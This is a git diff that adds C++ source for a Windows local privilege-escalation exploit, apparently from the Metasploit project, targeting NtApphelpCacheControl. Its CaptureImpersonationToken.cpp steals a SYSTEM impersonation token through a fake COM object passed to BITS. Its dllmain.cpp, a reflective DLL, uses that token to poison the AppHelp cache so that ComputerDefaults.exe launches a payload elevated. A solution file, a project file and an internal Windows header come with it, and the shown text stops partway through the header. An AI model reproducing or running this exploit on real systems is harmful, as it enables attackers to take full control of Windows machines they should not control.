PUSHD IE11SandboxEscapes + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit.sln b/external/source/exploits/ntapphelpcachecontrol/exploit.sln new file mode 100755 index 0000000000..d13ac14ff5 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Express 2013 for Windows Desktop +VisualStudioVersion = 12.0.31101.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "exploit", "exploit\exploit.vcxproj", "{41275E8F-395F-492A-9770-38FE2FAA9669}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Debug|Win32.Build.0 = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.ActiveCfg = Release|Win32 + {41275E8F-395F-492A-9770-38FE2FAA9669}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp new file mode 100755 index 0000000000..d4d5a6ae73 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/CaptureImpersonationToken.cpp @@ -0,0 +1,228 @@ +#include "stdafx.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// {1941C949-0BDE-474F-A484-9F74A8176A7C}, ensure it's an interface with a registered proxy +IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } }; + +class FakeObject : public IUnknown +{ + LONG m_lRefCount; + HANDLE* m_ptoken; + + void TryImpersonate() + { + if (*m_ptoken == nullptr) + { + HRESULT hr = CoImpersonateClient(); + if (SUCCEEDED(hr)) + { + HANDLE hToken; + if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken)) + { + PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000); + DWORD ret_len = 0; + + if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len)) + { + LPWSTR sid_name; + + ConvertSidToStringSid(user->User.Sid, &sid_name); + + if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr)) + { + *m_ptoken = hToken; + RevertToSelf(); + } + else + { + CloseHandle(hToken); + } + + printf("Got Token: %p %ls\n", hToken, sid_name); + LocalFree(sid_name); + } + else + { + printf("Error getting token user %d\n", GetLastError()); + } + free(user); + } + else + { + printf("Error opening token %d\n", GetLastError()); + } + } + } + } + +public: + //Constructor, Destructor + FakeObject(HANDLE* ptoken) { + m_lRefCount = 1; + m_ptoken = ptoken; + *m_ptoken = nullptr; + } + + ~FakeObject() {}; + + //IUnknown + HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj) + { + TryImpersonate(); + + if (riid == __uuidof(IUnknown)) + { + *ppvObj = this; + } + else if (riid == IID_FakeInterface) + { + printf("Check for FakeInterface\n"); + *ppvObj = this; + } + else + { + *ppvObj = NULL; + return E_NOINTERFACE; + } + + AddRef(); + return NOERROR; + } + + ULONG __stdcall AddRef() + { + TryImpersonate(); + return InterlockedIncrement(&m_lRefCount); + } + + ULONG __stdcall Release() + { + TryImpersonate(); + // not thread safe + ULONG ulCount = InterlockedDecrement(&m_lRefCount); + + if (0 == ulCount) + { + delete this; + } + + return ulCount; + } +}; + +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob)); +_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager)); + +bool DoCaptureToken(HANDLE* ptoken) +{ + // If CoInitializeEx fails, the exception is unhandled and the program terminates + + IBackgroundCopyJobPtr pJob; + try + { + //The impersonation level must be at least RPC_C_IMP_LEVEL_IMPERSONATE. + HRESULT hr = CoInitializeSecurity(NULL, + -1, + NULL, + NULL, + RPC_C_AUTHN_LEVEL_CONNECT, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, + EOAC_DYNAMIC_CLOAKING, + 0); + if (FAILED(hr)) + { + throw _com_error(hr); + } + + // Connect to BITS. + IBackgroundCopyManagerPtr pQueueMgr; + + IMonikerPtr pNotify; + + CreatePointerMoniker(new FakeObject(ptoken), &pNotify); + + hr = CoCreateInstance(__uuidof(BackgroundCopyManager), NULL, + CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pQueueMgr)); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + GUID guidJob; + hr = pQueueMgr->CreateJob(L"BitsAuthSample", + BG_JOB_TYPE_DOWNLOAD, + &guidJob, + &pJob); + + if (FAILED(hr)) + { + // Failed to connect. + throw _com_error(hr); + } + + pJob->SetNotifyInterface(pNotify); + } + catch (const std::bad_alloc &) + { + wprintf(L"Memory allocation failed"); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + catch (const _com_error &ex) + { + wprintf(L"Error '%ls' occurred during operation", ex.ErrorMessage()); + if (pJob) + { + pJob->Cancel(); + } + + return false; + } + + return true; +} + +class CoInitializer +{ +public: + CoInitializer() + { + CoInitialize(NULL); + } + + ~CoInitializer() + { + CoUninitialize(); + } +}; + +HANDLE CaptureImpersonationToken() +{ + CoInitializer coinit; + HANDLE token = nullptr; + + if (DoCaptureToken(&token)) + { + return token; + } + + return nullptr; +} diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp new file mode 100755 index 0000000000..e8d93926e3 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/dllmain.cpp @@ -0,0 +1,272 @@ +//#include "stdafx.h" +#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" + +#include "my_winternl.h" +#include "sdb.h" +#include +#include +#include + +#define BUF_SIZE 0x108 +#define MAX_ENV 32767 + +enum APPHELPCOMMAND +{ + AppHelpQuery, // 0 -> 0x22003 DeviceIoControl + AppHelpRemove, // 1 -> 0x22007 + AppHelpUpdate, // 2 -> 0x2200B (Admin) + AppHelpEnum, // 3 -> 0x2200F (Admin) (Looks unused) + AppHelpNotifyStart, // 4 -> 0x220013 (Admin) + AppHelpWriteRegistry, // 5 -> 0x220017 (Admin) + AppHelpNotifyStop, // 6 -> 0x22001B (Admin) + AppHelpForward, // 7 -> 0x22001F (looks to forward communication to helper service) + AppHelpSnapshot, // 8 -> 0x220023 (Admin) + AppHelpQueryModule, // 9 -> 0x220027 + AppHelpRefresh, // 10 -> 0x22002B + AppHelpCheckForChange, // 11 -> 0x22002F + AppHelpQueryHwId, // 12 (doesn’t go to driver, calls AchCacheQueryHwId) +}; + +struct ApphelpCacheControlData +{ + BYTE unk0[0x98]; // 0x00 -> 0x98 (all zeros?) + DWORD query_flags; // 0x98; + DWORD cache_flags; // 0x9C + HANDLE file_handle; // 0xA0 + HANDLE process_handle; // 0xA4 + UNICODE_STRING file_name; // 0xA8 + UNICODE_STRING package_name;// 0xB0 + DWORD buf_len; // 0xB8 + LPVOID buffer; // 0xBC + BYTE unkC0[0x2C]; // 0xC0 -> 0xEC + UNICODE_STRING module_name; // 0xEC (used for 9) + BYTE unkF4[0x14]; // 0xF4 -> 0x108 +}; + +typedef NTSTATUS(NTAPI *_NtApphelpCacheControl)(APPHELPCOMMAND type, void* buf); +typedef VOID(NTAPI *_RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +HANDLE CaptureImpersonationToken(); + +struct APPHELP_QUERY +{ + int match_tags[16]; + int unk40[16]; + int layer_tags[8]; + int flags; + int main_tag; + int match_count; + int layer_count; + GUID exe_guid; + int unkC0[264 / 4]; +}; + +BOOL resolveSdbFunctions(); +extern SdbOpenDatabase SdbOpenDatabasePtr; +extern SdbCloseDatabase SdbCloseDatabasePtr; +extern SdbTagToString SdbTagToStringPtr; +extern SdbGetFirstChild SdbGetFirstChildPtr; +extern SdbGetTagFromTagID SdbGetTagFromTagIDPtr; +extern SdbGetNextChild SdbGetNextChildPtr; +extern SdbReadBinaryTag SdbReadBinaryTagPtr; + +TAGID findExeByGuid(PDB db, TAGID tid, REFGUID exe_guid) +{ + TAG tmpTag = 0; + DWORD dwD = 0; + TAGID newtid = TAGID_NULL; + LPCTSTR tmp; + DWORD i = 0; + GUID guid; + + newtid = SdbGetFirstChildPtr(db, tid); + while (newtid != TAGID_NULL) + { + tmpTag = SdbGetTagFromTagIDPtr(db, newtid); + tmp = SdbTagToStringPtr(tmpTag); + + // process tag types + switch (tmpTag & 0xFFFF) + { + case TAG_EXE_ID: + if (SdbReadBinaryTagPtr(db, newtid, (PBYTE)&guid, sizeof(guid))) + { + if (IsEqualGUID(guid, exe_guid)) + { + return tid; + } + } + break; + + default: + break; + } + + // recursive + if ((tmpTag & TAG_TYPE_LIST) == TAG_TYPE_LIST) + { + TAGID ret = findExeByGuid(db, newtid, exe_guid); + if (ret != 0) + { + return ret; + } + } + + // get next tag + newtid = SdbGetNextChildPtr(db, tid, newtid); + } + + return 0; +} + +TAGID GetTagForRegsvr32() +{ + resolveSdbFunctions(); + + PDB db = SdbOpenDatabasePtr(L"\\SystemRoot\\AppPatch\\sysmain.sdb", NT_PATH); + if (!db) + { + DWORD stat = GetLastError(); + printf("Failed to load SDB file %d\n", stat); + return 0; + } + + GUID guid; + + IIDFromString(L"{2C7437C1-7105-40D3-BF84-D493A4F62DDB}", &guid); + + TAGID ret = findExeByGuid(db, TAGID_ROOT, guid); + + SdbCloseDatabasePtr(db); + + return ret; +} + +LPWSTR GetEnvVar(LPWSTR env) +{ + WCHAR buf[MAX_ENV]; + GetEnvironmentVariable(env, buf, MAX_ENV); + return buf; +} + +DWORD CALLBACK ExploitMain(char * lpReserved) +{ + WCHAR dllpath_buf[MAX_PATH]; + WCHAR payloadPath[MAX_PATH]; + MultiByteToWideChar(CP_ACP, 0, lpReserved, -1, payloadPath, MAX_PATH); + + if (!GetFullPathNameW(payloadPath, MAX_PATH, (LPWSTR) dllpath_buf, nullptr)) + { + printf("Couldn't get fullpath to dll %d\n", GetLastError()); + return 1; + } + + std::wstring dllpath; + dllpath = L"\""; + dllpath += dllpath_buf; + dllpath += L"\""; + + TAGID tag = GetTagForRegsvr32(); + if (tag == 0) + { + printf("Failed to get SDB tag for regsvr32\n"); + return 1; + } + + printf("Found regsvr32.exe tag: %08X\n", tag); + + HANDLE token = CaptureImpersonationToken(); + _RtlInitUnicodeString fRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"); + _NtApphelpCacheControl fNtApphelpCacheControl = (_NtApphelpCacheControl)GetProcAddress(GetModuleHandle(L"ntdll"), "NtApphelpCacheControl"); + + ApphelpCacheControlData data = { 0 }; + + std::wstring exe = GetEnvVar(L"SystemRoot"); + exe += L"\\System32\\ComputerDefaults.exe"; + + std::wstring full_path = L"\\??\\"; + full_path += exe.c_str(); + + printf("Interposing on cache for %ls\n", full_path.c_str()); + + fRtlInitUnicodeString(&data.file_name, full_path.c_str()); + + data.file_handle = CreateFile(exe.c_str(), FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + nullptr, OPEN_EXISTING, 0, 0); + if (data.file_handle == INVALID_HANDLE_VALUE) + { + printf("Error opening file %ls %d\n", exe.c_str(), GetLastError()); + return 1; + } + + data.query_flags = 0xFF; + data.cache_flags = 1; + + APPHELP_QUERY query = { 0 }; + query.match_count = 1; + query.layer_count = 0; + query.match_tags[0] = tag; + query.unkC0[0] = 1; + + data.buffer = &query; + data.buf_len = sizeof(query); + + int status = -1; + + // Ensure it the cache if flushed + fNtApphelpCacheControl(AppHelpRemove, &data); + + if (SetThreadToken(nullptr, token)) + { + status = fNtApphelpCacheControl(AppHelpUpdate, &data); + RevertToSelf(); + } + else + { + status = GetLastError(); + } + + if (status == 0) + { + LPCWSTR verb = L"runas"; + + printf("Calling %ls on %ls with command line %ls\n", verb, exe.c_str(), dllpath.c_str()); + ShellExecuteW(nullptr, verb, exe.c_str(), dllpath.c_str(), nullptr, SW_SHOW); + printf("Remove: %08X\n", fNtApphelpCacheControl(AppHelpRemove, &data)); + } + else + { + printf("Error adding cache entry: %08X\n", status); + } + + return 0; +} + +extern HINSTANCE hAppInstance; + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + switch (dwReason) + { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) + { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + ExploitMain((char*)lpReserved); + ExitProcess(0); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj new file mode 100755 index 0000000000..f301286c06 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/exploit.vcxproj @@ -0,0 +1,106 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {41275E8F-395F-492A-9770-38FE2FAA9669} + Win32Proj + exploit + + + + DynamicLibrary + true + v120 + Unicode + + + DynamicLibrary + false + v120 + true + Unicode + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXPLOIT_EXPORTS;%(PreprocessorDefinitions) + MultiThreaded + ..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories) + + + Windows + true + true + true + + + + + + + + + + + + + + + false + + + false + + + + + + Create + Create + + + + + + \ No newline at end of file diff --git a/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h new file mode 100755 index 0000000000..8dd7bd7598 --- /dev/null +++ b/external/source/exploits/ntapphelpcachecontrol/exploit/my_winternl.h @@ -0,0 +1,866 @@ +#ifndef _WINTERNL_ +#define _WINTERNL_ +#include + +#pragma region Desktop Family +#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) + + +#if (_WIN32_WINNT >= 0x0500) + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // + // These data structures and type definitions are needed for compilation and + // use of the internal Windows APIs defined in this header. + // + + typedef _Return_type_success_(return >= 0) LONG NTSTATUS; + + typedef CONST char *PCSZ; + + typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + } STRING; + typedef STRING *PSTRING; + + typedef STRING ANSI_STRING; + typedef PSTRING PANSI_STRING; + typedef PSTRING PCANSI_STRING; + + typedef STRING OEM_STRING; + typedef PSTRING POEM_STRING; + typedef CONST STRING* PCOEM_STRING; + + typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING; + typedef UNICODE_STRING *PUNICODE_STRING; + typedef const UNICODE_STRING *PCUNICODE_STRING; + + // + // The PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, RTL_USER_PROCESS_PARAMETERS, PEB + // and TEB structures are subject to changes between Windows releases; thus, + // the field offsets and reserved fields may change. The reserved fields are + // reserved for use only by the Windows operating systems. Do not assume a + // maximum size for these structures. + // + // Instead of using the InMemoryOrderModuleList field of the + // LDR_DATA_TABLE_ENTRY structure, use the Win32 API EnumProcessModules + // + // Instead of using the IsBeingDebugged field of the PEB structure, use the + // Win32 APIs IsDebuggerPresent or CheckRemoteDebuggerPresent + // + // Instead of using the SessionId field of the PEB structure, use the Win32 + // APIs GetCurrentProcessId and ProcessIdToSessionId + // + // Instead of using the Tls fields of the TEB structure, use the Win32 APIs + // TlsAlloc, TlsGetValue, TlsSetValue and TlsFree + // + // Instead of using the ReservedForOle field, use the COM API + // CoGetContextToken + // + // Sample x86 assembly code that gets the SessionId (subject to change + // between Windows releases, use the Win32 APIs to make your application + // resilient to changes) + // mov eax,fs:[00000018] + // mov eax,[eax+0x30] + // mov eax,[eax+0x1d4] + // + + // + // N.B. Fields marked as reserved do not necessarily reflect the structure + // of the real struct. They may simply guarantee that the offets of + // the exposed fields are correct. When code matches this pattern, + // + // TYPE1 ExposedField1; + // BYTE ReservedBytes[b]; + // PVOID ReservedPtrs[p]; + // TYPE2 ExposedField2; + // + // or that pattern with ReservedBytes and ReservedPtrs swapped, it is + // likely that 'b' and 'p' are derived from the following system: + // + // GapThirtyTwo = 4p + b + // GapSixtyFour = 8p + b + // + // where GapThirtyTwo is the number of bytes between the two exposed + // fields in the 32-bit version of the real struct and GapSixtyFour + // is the number of bytes between the two exposed fields in the 64-bit + // version of the real struct. + // + // Also note that such code must take into account the alignment of + // the ReservedPtrs field. + // + + typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + + typedef + VOID + (NTAPI *PPS_POST_PROCESS_INIT_ROUTINE) ( + VOID + ); + + typedef struct _TEB { + PVOID Reserved1[12]; + _PPEB ProcessEnvironmentBlock; + PVOID Reserved2[399]; + BYTE Reserved3[1952]; + PVOID TlsSlots[64]; + BYTE Reserved4[8]; + PVOID Reserved5[26]; + PVOID ReservedForOle; // Windows 2000 only + PVOID Reserved6[4]; + PVOID TlsExpansionSlots; + } TEB, *PTEB; + + typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES; + typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + + typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; + } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + + typedef + VOID + (NTAPI *PIO_APC_ROUTINE) ( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + + typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + _PPEB PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; + } PROCESS_BASIC_INFORMATION; + typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + + typedef struct _SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER Reserved1[2]; + ULONG Reserved2; + } SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PSYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + BYTE Reserved1[52]; + PVOID Reserved2[3]; + HANDLE UniqueProcessId; + PVOID Reserved3; + ULONG HandleCount; + BYTE Reserved4[4]; + PVOID Reserved5[11]; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER Reserved6[6]; + } SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; + + typedef struct _SYSTEM_REGISTRY_QUOTA_INFORMATION { + ULONG RegistryQuotaAllowed; + ULONG RegistryQuotaUsed; + PVOID Reserved1; + } SYSTEM_REGISTRY_QUOTA_INFORMATION, *PSYSTEM_REGISTRY_QUOTA_INFORMATION; + + typedef struct _SYSTEM_BASIC_INFORMATION { + BYTE Reserved1[24]; + PVOID Reserved2[4]; + CCHAR NumberOfProcessors; + } SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + + typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + BYTE Reserved1[48]; + } SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + + typedef struct _SYSTEM_PERFORMANCE_INFORMATION { + BYTE Reserved1[312]; + } SYSTEM_PERFORMANCE_INFORMATION, *PSYSTEM_PERFORMANCE_INFORMATION; + + typedef struct _SYSTEM_EXCEPTION_INFORMATION { + BYTE Reserved1[16]; + } SYSTEM_EXCEPTION_INFORMATION, *PSYSTEM_EXCEPTION_INFORMATION; + + typedef struct _SYSTEM_LOOKASIDE_INFORMATION { + BYTE Reserved1[32]; + } SYSTEM_LOOKASIDE_INFORMATION, *PSYSTEM_LOOKASIDE_INFORMATION; + + typedef struct _SYSTEM_INTERRUPT_INFORMATION { + BYTE Reserved1[24]; + } SYSTEM_INTERRUPT_INFORMATION, *PSYSTEM_INTERRUPT_INFORMATION; + + typedef struct _SYSTEM_POLICY_INFORMATION { + PVOID Reserved1[2]; + ULONG Reserved2[3]; + } SYSTEM_POLICY_INFORMATION, *PSYSTEM_POLICY_INFORMATION; + + typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1 + } FILE_INFORMATION_CLASS; + + typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessDebugPort = 7, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessBreakOnTermination = 29 + } PROCESSINFOCLASS; + + typedef enum _THREADINFOCLASS { + ThreadIsIoPending = 16 + } THREADINFOCLASS; + + typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation = 0, + SystemPerformanceInformation = 2, + SystemTimeOfDayInformation = 3, + SystemProcessInformation = 5, + SystemProcessorPerformanceInformation = 8, + SystemInterruptInformation = 23, + SystemExceptionInformation = 33, + SystemRegistryQuotaInformation = 37, + SystemLookasideInformation = 45, + SystemPolicyInformation = 134, + } SYSTEM_INFORMATION_CLASS; + + // + // Object Information Classes + // + + typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation = 0, + ObjectTypeInformation = 2 + } OBJECT_INFORMATION_CLASS; + + // + // Public Object Information definitions + // + + typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + + ULONG Reserved[10]; // reserved for internal use + + } PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION; + + typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION { + + UNICODE_STRING TypeName; + + ULONG Reserved[22]; // reserved for internal use + + } PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION; + +#if (_WIN32_WINNT >= 0x0501) + // + // use the WTS API instead + // WTSGetActiveConsoleSessionId + // The active console id is cached as a volatile ULONG in a constant + // memory location. This x86 memory location is subject to changes between + // Windows releases. Use the WTS API to make your application resilient to + // changes. + // +#define INTERNAL_TS_ACTIVE_CONSOLE_ID ( *((volatile ULONG*)(0x7ffe02d8)) ) +#endif // (_WIN32_WINNT >= 0x0501) + + // + // These functions are intended for use by internal core Windows components + // since these functions may change between Windows releases. + // + +#define RtlMoveMemory(Destination,Source,Length) memmove((Destination),(Source),(Length)) +#define RtlFillMemory(Destination,Length,Fill) memset((Destination),(Fill),(Length)) +#define RtlZeroMemory(Destination,Length) memset((Destination),0,(Length)) + + // + // use the Win32 API instead + // CloseHandle + // + __kernel_entry NTSTATUS + NTAPI + NtClose( + IN HANDLE Handle + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize OPTIONAL, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer OPTIONAL, + IN ULONG EaLength + ); + + // + // use the Win32 API instead + // CreateFile + // + __kernel_entry NTSTATUS + NTAPI + NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + // + // use the Win32 API instead + // N/A + // + __kernel_entry NTSTATUS + NTAPI + NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName + ); + + // + // use the Win32 API instead + // RegNotifyChangeKeyValue + // + + __kernel_entry NTSTATUS + NTAPI + NtNotifyChangeMultipleKeys( + _In_ HANDLE MasterKeyHandle, + _In_opt_ ULONG Count, + _In_reads_opt_(Count) OBJECT_ATTRIBUTES SubordinateObjects[], + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous + ); + + // + // use the Win32 API instead + // RegQueryValueEx + // + + typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; + } KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; + + __kernel_entry NTSTATUS + NTAPI + NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength + ); + + // + // use the Win32 API instead + // N/A + // + + typedef enum _KEY_SET_INFORMATION_CLASS { + KeyWriteTimeInformation, + KeyWow64FlagsInformation, + KeyControlFlagsInformation, + KeySetVirtualizationInformation, + KeySetDebugInformation, + KeySetHandleTagsInformation, + MaxKeySetInfoClass // MaxKeySetInfoClass should always be the last enum + } KEY_SET_INFORMATION_CLASS; + + __kernel_entry NTSTATUS + NTAPI + NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ _Strict_type_match_ + KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength + ); + + // + // use the Win32 API instead + // DeviceIoControl + // + __kernel_entry NTSTATUS + NTAPI + NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength + ); + + // + // use the Win32 API instead + // WaitForSingleObjectEx + // + NTSTATUS + NTAPI + NtWaitForSingleObject( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + // + // use the Win32 API instead + // CheckNameLegalDOS8Dot3 + // + BOOLEAN + NTAPI + RtlIsNameLegalDOS8Dot3( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + + // + // This function might be needed for some of the internal Windows functions, + // defined in this header file. + // + _When_(Status < 0, _Out_range_(>, 0)) + _When_(Status >= 0, _Out_range_(== , 0)) + ULONG + NTAPI + RtlNtStatusToDosError( + NTSTATUS Status + ); + + // + // use the Win32 APIs instead + // GetProcessHandleCount + // GetProcessId + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 API instead + // GetThreadIOPendingFlag + // + __kernel_entry NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + // + // use the Win32 APIs instead + // GetFileInformationByHandle + // 